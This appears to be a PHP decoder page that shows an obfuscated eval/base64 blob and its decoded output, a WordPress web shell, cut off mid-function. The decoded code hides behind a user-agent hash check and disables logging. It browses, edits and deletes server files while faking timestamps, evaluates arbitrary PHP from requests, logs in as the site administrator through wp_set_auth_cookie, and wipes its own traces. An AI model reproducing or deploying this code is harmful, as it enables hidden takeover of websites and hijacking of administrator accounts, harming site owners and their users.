Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('7f3ZkttKtigIPktfwdTROQydkBQAh4igtKVMzjMjOIEkUllRIACSID..

Decoded Output download




 


if('11c5b718af2cea1de5bfb3bd8c98db2e' !== md5($_SERVER['HTTP_USER_AGENT'])){die('0b08bd98d279b88859b628cd8c061ae0');}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);

error_reporting(0);

header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');


function get_perm($file){
  $perms = fileperms($file);

  switch ($perms & 0xF000) {
    case 0xC000:
        $info = 's';
        break;
    case 0xA000:
        $info = 'l';
        break;
    case 0x8000:
        $info = 'r';
        break;
    case 0x6000:
        $info = 'b';
        break;
    case 0x4000:
        $info = 'd';
        break;
    case 0x2000:
        $info = 'c';
        break;
    case 0x1000:
        $info = 'p';
        break;
    default:
        $info = 'u';
  }


  $info .= (($perms & 0x0100) ? 'r' : '-');
  $info .= (($perms & 0x0080) ? 'w' : '-');
  $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));


  $info .= (($perms & 0x0020) ? 'r' : '-');
  $info .= (($perms & 0x0010) ? 'w' : '-');
  $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));


  $info .= (($perms & 0x0004) ? 'r' : '-');
  $info .= (($perms & 0x0002) ? 'w' : '-');
  $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

  return $info;
}

function wsoViewSize($s) {

    if (is_int($s)) $s = sprintf("%u", $s);
    
    if($s >= 1073741824)  return sprintf('%1.2f', $s / 1073741824 ). '&nbsp;<font color=red>Gb</font>&nbsp;';

    elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . '&nbsp;<font color=green>Mb</font>&nbsp;';

    elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . '&nbsp;<font color=blue>Kb</font>&nbsp;';

    else  return $s . '&nbsp;<font color=black size-1>B</font>&nbsp;';
}

if(get_magic_quotes_gpc()) {
    function SStripslashes($array) {
      return is_array($array) ? array_map('SStripslashes', $array) : stripslashes($array);
    }
    $_POST = SStripslashes($_POST);
    $_COOKIE = SStripslashes($_COOKIE);
}

if(!function_exists('file_put_contents')) {
    function file_put_contents($file_name, $data) {
        $f = fopen($file_name,"w");
        fputs($f,$data);
        fclose($f);
    }
} 

if (function_exists('set_magic_quotes_runtime')) {
    
    @set_magic_quotes_runtime(0);
}

function suicide(){ 
    if(function_exists('update_option')){
    	setcookie(get_option('dolly_work'),'',time()-3600);
      	update_option('hello_dolly', '', true );
      	update_option('dolly_work', '', true );
    } else {
    	@unlink(__FILE__);
    }
    
    @unlink('config_wp.php');
    @unlink('ii.php');
    @unlink('zpl.php');
    @unlink('pl.php');
    @unlink('2pl.php');
    @unlink('cpl.php');
    @unlink('upl.php');
    @unlink('_task');
    @unlink('_task_n');
    @unlink('_taskc');
    @unlink('_task_nc');
    @unlink('_task_nn');
    @unlink('_worker.php');
    @unlink('_log');
    @unlink('_cleaner.php');
    @unlink('_error_log');
    @unlink('big_log');
    @unlink('wp_log');
    @unlink('manual_log');
  
    die('God job!');
}

function echo_header(){

	echo "<!DOCTYPE html><html><meta charset=utf-8>
";
	echo "<style>
	span {
  	background: url(data:image/gif;base64,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) no-repeat 0 0;
  	width: 48px;
  	height: 48px;
  	display: block;
  	float: left;
  	cursor:pointer;
  	}
  	span.m2 {background-position: -96px 0;}
  	span.m3 {background-position: -48px 0;}
  	span.m4 {background-position: -192px 0;}
  	span.m5 {background-position: -144px 0;}
  	span:hover {background-color: #eee;}
  	</style>
";
}

function echo_scripts(){
	
	echo "<script>var myVar;
";

  echo "function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? \"\" : \"; expires=\"+exdate.toUTCString()); document.cookie=c_name + \"=\" + c_value; }
";

  echo "function getCookie(cname) {
  var name = cname + '=';
  var decodedCookie = decodeURIComponent(document.cookie);
  var ca = decodedCookie.split(';');
  for(var i = 0; i <ca.length; i++) {
    var c = ca[i];
    while (c.charAt(0) == ' ') {
      c = c.substring(1);
    }
    if (c.indexOf(name) == 0) {
      return c.substring(name.length, c.length);
    }
  }
  return '';
  }";

  echo "function Filter(){
    var filt = getCookie('filter');
    var filter = prompt('Exception?', filt);
    
    var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
    document.cookie = 'filter='+filter+'; expires=' + date.toGMTString();
  }
";

  echo "function Force(){
    var filename = location.href.replace(/^.*[\/]/, '');
    var newloc = location.href.replace(filename, '_worker.php?fsdfsfdffs');
    location.href = newloc;
  }
  ";
  echo "function Fast(){

    if('Fast scan off' == document.getElementById('fast_worker').value){
    var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
    document.getElementById('fast_worker').value = 'Fast scan on';
    } else {
    var date = new Date();date.setTime(date.getTime()-(100*24*60*60*1000));  
    document.getElementById('fast_worker').value = 'Fast scan off';
    }
    document.cookie = 'fast_worker=true; expires=' + date.toGMTString();
  }";

  echo "function Paranoid(){

    if('Paranoid scan off' == document.getElementById('paranoid_worker').value){
    var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
    document.getElementById('paranoid_worker').value = 'Paranoid scan on';
    } else {
    var date = new Date();date.setTime(date.getTime()-(100*24*60*60*1000));  
    document.getElementById('paranoid_worker').value = 'Paranoid scan off';
    }
    document.cookie = 'paranoid_worker=true; expires=' + date.toGMTString();
  }";
	echo "function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? \"\" : \"; expires=\"+exdate.toUTCString()); document.cookie=c_name + \"=\" + c_value; }
";

	echo "function Worker(action, dir, file, code, param, target){
		
    if(action != 'suicide'){
    document.getElementById(target).contentWindow.document.write('<!DOCTYPE html><html lang=\"en\"><style>.lds-spinner {  color: official;  display: inline-block;  position: relative;  width: 80px;  height: 80px;}.lds-spinner div {  transform-origin: 40px 40px;  animation: lds-spinner 1.2s linear infinite;}.lds-spinner div:after {  content: \" \";  display: block;  position: absolute;  top: 3px;  left: 37px;  width: 6px;  height: 18px;  border-radius: 20%;  background: #000;}.lds-spinner div:nth-child(1) {  transform: rotate(0deg);  animation-delay: -1.1s;}.lds-spinner div:nth-child(2) {  transform: rotate(30deg);  animation-delay: -1s;}.lds-spinner div:nth-child(3) {  transform: rotate(60deg);  animation-delay: -0.9s;}.lds-spinner div:nth-child(4) {  transform: rotate(90deg);  animation-delay: -0.8s;}.lds-spinner div:nth-child(5) {  transform: rotate(120deg);  animation-delay: -0.7s;}.lds-spinner div:nth-child(6) {  transform: rotate(150deg);  animation-delay: -0.6s;}.lds-spinner div:nth-child(7) {  transform: rotate(180deg);  animation-delay: -0.5s;}.lds-spinner div:nth-child(8) {  transform: rotate(210deg);  animation-delay: -0.4s;}.lds-spinner div:nth-child(9) {  transform: rotate(240deg);  animation-delay: -0.3s;}.lds-spinner div:nth-child(10) {  transform: rotate(270deg);  animation-delay: -0.2s;}.lds-spinner div:nth-child(11) {  transform: rotate(300deg);  animation-delay: -0.1s;}.lds-spinner div:nth-child(12) {  transform: rotate(330deg);  animation-delay: 0s;}@keyframes lds-spinner {  0% {    opacity: 1;  }  100% {    opacity: 0;  }}</style><br><br><center><div class=\"lds-spinner\"><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div>');
    }

    var ele = document.getElementsByName('work_method');
    for(i = 0; i < ele.length; i++) { 
                if(ele[i].checked) 
                work_method = ele[i].value; 
            } 
    if (action == 's_f'){work_method = 'post';}
    document.getElementById('action').value = action;
		document.getElementById('dir').value = dir;
		document.getElementById('file').value = file;
		document.getElementById('code').value = code;
		document.getElementById('param').value = param;
    document.getElementById('worker').method = work_method;
		document.getElementById('worker').target = target;
		document.getElementById('worker').submit();
	}
";
	echo "function MakeHome(){
		Worker('f_m','','','','','file_man');
	}
";
	echo "function base64EncodeUnicode(str) {
 
    utf8Bytes = encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
            return String.fromCharCode('0x' + p1);
    });
    return btoa(utf8Bytes);
	}
	function Make_worker(start){
		Worker('m_w', start, '', '', '', 'worker_box');
	}

  function FindEx(cod){
    text = atob(cod);
    var iframe = document.getElementById('edit_box');
var input = iframe.contentWindow.document.getElementById('text');
input.selectionStart = input.value.indexOf(text);
input.selectionEnd = input.value.indexOf(text) + text.length;
input.focus ();
  }

	</script>
";
}

function check_functions(){
	
	$need_func[] = 'openssl_verify';
	$need_func[] = 'curl_init';
	foreach ($need_func as $fu) {
    	echo function_exists($fu) ? "" : "<script>alert('$fu not present');</script>
";
  	}
}

function to_worker(){
	
	$startdir =  dirname(__FILE__);
	
  	$z = explode(DIRECTORY_SEPARATOR,trim($startdir,DIRECTORY_SEPARATOR));
  	$bigdir = '';
  	$towrite = '<a style=\'cursor:pointer\' onclick=Make_worker(\'' . base64_encode('/') . '\')>[/]</a>';
  	foreach($z as $t){
    	$bigdir = $bigdir . DIRECTORY_SEPARATOR . $t;
    	if(@is_readable($bigdir)){
      		$color = 'green'; 
    	} else {
      	$color = 'red';
    	}
    	$towrite = $towrite . "<a style='cursor:pointer' onclick=Make_worker('" . base64_encode($bigdir) . "')>/<font color=$color>$t</font></a>";
    	
  	}
  	return $towrite;
}

function big_table(){

	$un = php_uname(); 
	$towrite = to_worker();
	echo "<table border=0 width=100%><tr><td style='width:500px'>$un</td>";
  echo "<td><input type=button onclick='Force();' value='Force worker'></td>";
  echo "<td><input type=button onclick='Fast();' id='fast_worker' value='Fast scan off'></td>";
  echo "<td><input type=button onclick='Paranoid();' id='paranoid_worker' value='Paranoid scan off'></td>";
  echo "<td><input type=button onclick='Filter();' id='filter' value='Add filter'></td>";
  echo "<td>  <input type='radio' id='post' name='work_method' value='post' checked>
  <label for='post'>_POST</label><br>
  <input type='radio' id='get' name='work_method' value='get'>
  <label for='get'>_GET</label><br></td>";
  echo "<td style='width:240px'><a onclick=Worker('suicide','','','','','_top');><span class='m1'>&nbsp;</span></a><a onclick=Worker('e_p','','','','','edit_box');><span class='m2'>&nbsp;</span></a><a onclick=Worker('m_a','','','','','file_man');><span class='m3'>&nbsp;</span></a><a onclick=Worker('m_p','','','','','file_man');><span class='m4'>&nbsp;</span></a><a href=#  onclick=Worker('f_m','','','','','file_man');><span class='m5'>&nbsp;</span></a></td></tr></table>";
  echo "<style> a {border:none;outline: none;}a:visited { color: #0000cc;}</style> <table width=100% style='font-size:16px; padding: 5px;'><tr><td>";
  echo "Make_worker: $towrite </td>";
  echo "<td align=right></td><tr></table>";
  echo "<table width=100%><tr valign=top><td width=500><iframe id='file_man' name='file_man' src='' width=100% height=700 scrolling=yes></iframe></td><td width=450><iframe id='edit_box' name='edit_box' src='' width=100% height=700 scrolling=yes></iframe></td><td width=100><iframe id='worker_box' name='worker_box' src='' width=100% height=700 scrolling=yes></iframe></td></tr></table>
";
}

function big_form(){
	echo '<form id="worker" action="?" traget="_self" method="POST">
	<input type="hidden" id="action" name="a" value="">
	<input type="hidden" id="dir" name="d" value="">
	<input type="hidden" id="file" name="f" value="">
	<input type="hidden" id="code" name="c" value="">
	<input type="hidden" id="param" name="p" value="">
	</form>';
}

function file_man_style(){
	echo '<style>
	table, th, td {  border: 0px;  border-collapse: collapse; width:100% }  
	tr:hover  {   background-color: #ebebeb;   }   
	th, td {     padding: 5px;   }  
	a {  font-size:15px; border:none;  outline: none; cursor:pointer; color:#00f; }   
	a:visited { color: #0000cc;} 
	</style>';
	echo "<script>function GoTo(){ dir=btoa(document.getElementById('gotodir').value);
	parent.Worker('f_m',dir,'','','','file_man');
	}</script>
";
  echo "<script>function EditFile(){ file=btoa(document.getElementById('editfile').value);
  parent.Worker('e_f','aaa',file,'','','edit_box'); //tut
  }</script>
";
}

function file_man(){
	
	file_man_style();

	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d'] ){
  		$b = base64_decode($_REQUEST['d']);
	} else {
  		$b = realpath(dirname(__FILE__));
  	}
  $files = array();    
	$dirs = array();
    $z = explode(DIRECTORY_SEPARATOR,trim($b,DIRECTORY_SEPARATOR));
  	$bigdir = '';
  	$towrite = '';

    foreach($z as $t){
  
  		$bigdir = $bigdir . DIRECTORY_SEPARATOR . $t;
    
    	if(@is_readable($bigdir)){
      		$color = 'blue'; 
    	} else {
      		$color = 'red';
    	}
    
    	if(@is_writable($bigdir)){
      		$color = 'green'; 
    	}

	    $towrite = $towrite . "<a onclick = parent.Worker('f_m','". base64_encode($bigdir) ."','','','','file_man'); >/<font color=$color>$t</font></a>";
  	}

  	echo "<pre><a onclick = parent.Worker('f_m','','','','','file_man');>[home]</a> ";
  	echo "<a onclick = parent.Worker('f_m','". base64_encode('/')."','','','','file_man'); >[/]</a> ";
  	echo $towrite;
  	echo "<br><br><table>";

  	$odir = @opendir($b);

	while (($file = @readdir($odir)) !== FALSE){
 
  		if ($file == '.' || $file == '..'){
    		continue;
  		}

  		$curit = $b.DIRECTORY_SEPARATOR.$file;
  
  		if (is_dir($curit) && (!is_link($curit)) ){
    		$dirs[] = $file;
  		}
  
  		if (is_file($curit) && (!is_link($curit)) ){
    		$files[] = $file;
  		}
	}
  
	@closedir($odir);

	if (count($dirs) > 0) {
    	
    	sort($dirs);
    
    	foreach ($dirs as $curit){
      		if(@is_readable($b .DIRECTORY_SEPARATOR.$curit)){
        		$color = 'blue'; 
      		} else {
        		$color = 'red';
      		}

      		if(@is_writeable($b .DIRECTORY_SEPARATOR.$curit)){
        		$color = 'green'; 
      		}
      	$zxc = "<tr><td><a onclick = parent.Worker('f_m','". base64_encode($b . '/' . $curit) ."','','','','file_man'); ><font color=$color>[ $curit ]</font></a></td></tr>";
      	echo  $zxc;
    	}
  	}
 
  	echo '</table><br><table>';

    sort($files);
  	foreach ($files as $curit){
    	
    	if(@is_readable($b .DIRECTORY_SEPARATOR.$curit)){
      		$color = 'blue'; 
    	} else {
      		$color = 'red';
    	}

    	if(@is_writeable($b .DIRECTORY_SEPARATOR.$curit)){
      		$color = 'green'; 
    	} 
  
    	$file_size = wsoViewSize(filesize($b .DIRECTORY_SEPARATOR.$curit));
  
    	$file_time = date("d.m.Y", filemtime($b .DIRECTORY_SEPARATOR.$curit));
  
    	$perm = get_perm($bigdir . '/' . $curit);
  
    	$cfff = base64_encode($bigdir . '/' . $curit);
    	$cdir = base64_encode($bigdir);
      if(strlen($curit) > 30) {
    	 $curitw = '[...] ' . substr($curit, -23);
      } else {
        $curitw = $curit;
      }
    	echo "<tr id='$cfff'><td style='width:50px'><input type=button  onClick=parent.Worker('e_f','$cdir','$cfff','','reload','edit_box'); style='font-size:30px;height:45px;cursor:pointer' value=''>
    	</td><td style='width:50px'><input type=button  onClick=parent.Worker('m_f','$cdir','$cfff','','','edit_box'); style='font-size:25px;height:45px;cursor:pointer' value=''></td>
    	<td><font size=+2 color=$color>";
      if('wp-config.php' === $curitw){
        echo "<span style='cursor:pointer' onClick=\"parent.Worker('m_wp','$cdir','$cfff','','noreload','edit_box');\">$curitw</span>";
      } else {
        if(strpos($curitw, '.suspected')> 0){
         echo "<span style='cursor:pointer' onClick=\"parent.Worker('r_s','$cdir','$cfff','','reload','edit_box');\">$curitw</span>";
        } else {
      echo $curitw;
        }
      }
      echo "</font><br><font size=+1>$perm</font></td><td>
    	<input type=button onClick=parent.Worker('d_f','$cdir','$cfff','','reload','edit_box'); style='font-size:25px;height:45px;cursor:pointer' value=''></td>
    	<td> $file_size </td><td> $file_time </td></tr>";
  	}
  
  	echo '</table>';

	echo "<hr><input type=text id=gotodir><input type=button onClick=GoTo(); value='Goto dir'>";
  echo "<hr><input type=text id=editfile><input type=button onClick=EditFile(); value='Edit file'>";
	if (isset($_REQUEST['p'])){
		$id = $_REQUEST['p'];
		echo "<script>
  var elmnt = document.getElementById('$id');
  elmnt.scrollIntoView();
		</script>";
	}
}

function edit_file(){
	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
  		$f = $_REQUEST['f'];
  		$e = base64_decode($_REQUEST['f']);
	} else {
  		die('WTF?');
	}
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
  		$dir = $_REQUEST['d'];
  	} else {
  		die('WTF?');
	}
	if(isset($_REQUEST['p']) && 'reload' == $_REQUEST['p']){
  		$param = 'reload';
	} else {
  		$param = 'no_reload';
	}
	echo '<!DOCTYPE html><html><meta charset=utf-8>';
	echo "<script>
	
	 function Scr_n(){
    code = document.getElementById('text').value;
        
    parent.Worker('s_n','$dir','$f',code,'$param','edit_box');
  }
	function Scr(){
  	code = parent.base64EncodeUnicode(document.getElementById('text').value);
	  	 	
  	parent.Worker('s_f','$dir','$f',code,'$param','edit_box');
	}</script>";
	if(file_exists($e)){

  if(!@is_writeable($e)) {
    chmod($e, 0644);
  }
  clearstatcache();

	$dis = ''; 
	if(!@is_writeable($e)) {
  		$dis = 'disabled';
	}

	$text = htmlentities(file_get_contents($e), ENT_QUOTES, "UTF-8");
    
	echo "<textarea id=text name=text style='width:100%;height:620px'>$text</textarea><input onclick=Scr_n(); type=button value='Save norm' $dis ><input onclick=Scr(); type=button value='Save 64' $dis ></form>";
  } else {
    echo '404 file not found';
  }
}

function save_norm(){
  
  if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $fm = $_REQUEST['f'];
      $s = base64_decode($_REQUEST['f']);
  } else {
      die('WTF?');
  }
  
  if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
      $text = $_REQUEST['c'];
  } else {
      die('WTF?');
  }
  
  if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
      $param =$_REQUEST['p'];
  } else {
      die('WTF?');
  }
  
  if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
    $dir = $_REQUEST['d'];
  } else {
    die('WTF?');
  }

  $text = str_replace(array("
", "
", "
"), PHP_EOL,$text);
    @clearstatcache();
    $time = filemtime($s);
    
    $f = fopen($s,"w");
    fputs($f,$text);
    fclose($f);
    
    @clearstatcache();
    
    if (touch($s,$time+10,$time+10)) {
      echo "touch OK";
    } else {
      echo "touch bad";
    }
  
    if($param == 'reload'){
      echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man');</script>";
    }
}

function save_file(){
	
	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
		$fm = $_REQUEST['f'];
  		$s = base64_decode($_REQUEST['f']);
	} else {
  		die('WTF?');
	}
	
	if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
  		$text = base64_decode($_REQUEST['c']);
	} else {
  		die('WTF?');
	}
	
	if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
  		$param =$_REQUEST['p'];
	} else {
  		die('WTF?');
	}
	
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
  	$dir = $_REQUEST['d'];
	} else {
  	die('WTF?');
	}

	$text = str_replace(array("
", "
", "
"), PHP_EOL,$text);
  	@clearstatcache();
  	$time = filemtime($s);
  	
  	$f = fopen($s,"w");
  	fputs($f,$text);
  	fclose($f);
  	
  	@clearstatcache();
  	
  	if (touch($s,$time+10,$time+10)) {
    	echo "touch OK";
  	} else {
    	echo "touch bad";
  	}
 	
  	if($param == 'reload'){
  		echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man');</script>";
  	}
}

function delete_file(){

	if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
  	$file_to_delete = base64_decode($_REQUEST['f']);
	} else {
  	die('WTF?');
	}
	
	if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
  	$param =$_REQUEST['p'];
	} else {
  	die('WTF?');
	}
	
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
  	$dir = $_REQUEST['d'];
	} else {
    die('WTF?');
	}

  if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
    $code = $_REQUEST['c'];
  }
	
  if('suspected' == $code){
    copy($file_to_delete,$file_to_delete . '.suspected');
  }

  if (unlink($file_to_delete)){ 
    	
    	if('reload' == $param){
      		echo "<script>parent.Worker('f_m','$dir','', '','','file_man');</script>";
      	}
      	die("Succes: $file_to_delete");
        
    } else {
    	die('Deleting fail');
    }
}

function exec_php(){
	
	if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
		eval (base64_decode($_REQUEST['c']));
		echo "<hr>";
	}
	
	$pos = strpos(__FILE__,'wp-content');
  	$wdir = substr(__FILE__,0,$pos);
  	echo "<script>
function Excod(cod){
if(cod == 'admin'){
code = `
\$pos = strpos(__FILE__,'wp-content');
\$wpc = substr(__FILE__,0,\$pos) . 'wp-config.php';
include(\$wpc);

\$users = get_users( array('role'   => 'administrator', ) );
\$ids = wp_list_pluck( \$users, 'ID' );
\$id = \$ids['0'];
wp_set_auth_cookie( \$id );


\$url = get_option('siteurl');
\$zzz =  '<a target=_blank href=' . \$url . '/wp-admin/plugins.php>admin</a>';
echo \$zzz;
`;
}
if(cod == 'delete_evil'){
code = `include('$wdir' . 'wp-config.php');
require_once ('$wdir' . 'wp-admin/includes/user.php');
\$user = get_user_by( 'email', '[email protected]' );
wp_delete_user(\$user->id);`;
}
if(cod == 'copy_zpl'){
code = `copy('zpl.php','zpl.php');`;
}
if(cod == 'phpinfo'){
code = `phpinfo();`;
}
if(cod == 'touch'){
code = `touch('i.php');`;
}
if(cod == 'restore'){
code = `\$host = \$_SERVER['HTTP_HOST'];
if(\$_SERVER['HTTPS'] == 'on'){
\$data = 'https://'.\$host;
} else {
\$data = 'http://'.\$host;
}
\$pos = strpos(__FILE__,'wp-content');
\$wpc = substr(__FILE__,0,\$pos) . 'wp-config.php';
include(\$wpc);
update_option( 'siteurl', \$data);
update_option( 'home', \$data);
die();`;
}
document.getElementById('text').value = code;
}
function crppp(){
code = parent.base64EncodeUnicode(document.getElementById('text').value);
		 	
parent.Worker('e_p','','',code,'','edit_box');
}
</script>";
	
	echo "<a onclick=Excod('admin'); style='cursor:pointer; color:#00f'>Admin</a> _<a onclick=Excod('phpinfo'); style='cursor:pointer; color:#00f'>PHPinfo</a> _ <a onclick=Excod('delete_evil'); style='cursor:pointer; color:#00f'>R_Evil</a> _ <a onclick=Excod('copy_zpl'); style='cursor:pointer; color:#00f'>Copy Zpl</a> _ <a onclick=Excod('restore'); style='cursor:pointer; color:#00f'>Restore home</a> _ <a onclick=Excod('touch'); style='cursor:pointer; color:#00f'>touch</a><br>";

	echo "<textarea id=text name=cod style='width:100%;height:420px'></textarea><input type=button onclick=crppp(); value=Eval >";
}


function make_worker(){
	
	if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
		$st_dir = base64_decode($_REQUEST['d']);
	} else {
		die('WTF?');
	}
 	file_put_contents('_task', "$st_dir" . PHP_EOL);
  
